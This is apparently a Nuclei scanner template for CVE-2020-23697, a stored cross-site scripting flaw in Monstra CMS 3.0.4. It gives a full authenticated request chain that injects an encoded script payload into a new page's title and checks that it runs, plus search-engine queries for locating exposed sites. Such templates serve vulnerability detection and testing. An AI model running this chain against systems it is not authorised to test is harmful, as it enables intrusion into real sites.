id: CVE-2020-23697

info:
  name: Monstra CMS 3.0.4 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the page feature in admin/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of Monstra CMS or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/monstra-cms/monstra/issues/463
    - https://nvd.nist.gov/vuln/detail/CVE-2020-23697
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-23697
    cwe-id: CWE-79
    epss-score: 0.01885
    epss-percentile: 0.77452
    cpe: cpe:2.3:a:monstra:monstra_cms:3.0.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: monstra
    product: monstra_cms
    shodan-query: http.favicon.hash:419828698
    fofa-query: icon_hash=419828698
  tags: cve,cve2020,xss,mostra,mostracms,cms,authenticated,monstra,vuln
variables:
  string: "{{to_lower('{{randstr}}')}}"

http:
  - raw:
      - |
        POST /admin/index.php?id=dashboard HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login={{username}}&password={{password}}&login_submit=Log+In
      - |
        GET /admin/index.php?id=pages&action=add_page HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        POST /admin/index.php?id=pages&action=add_page HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15
      - |
        GET /{{string}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header_4, "text/html")'
          - 'status_code_4 == 200'
          - 'contains(body_4, "><script>alert(document.domain)</script>") && contains(body_4, "Monstra")'
        condition: and

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'id="csrf" name="csrf" value="(.*)">'
        internal: true
        part: body
# digest: 490a0046304402204548b8078d97ed9e30b0b2a33c660e617d04ecbee6a0c91cee2d6d690f7b9b8502207f26bb0fb6409a9cb9c4c2cdea0f8e25688989dc2a1e833834963ba1e88d22be:922c64590222798bb761d5b6d8e72950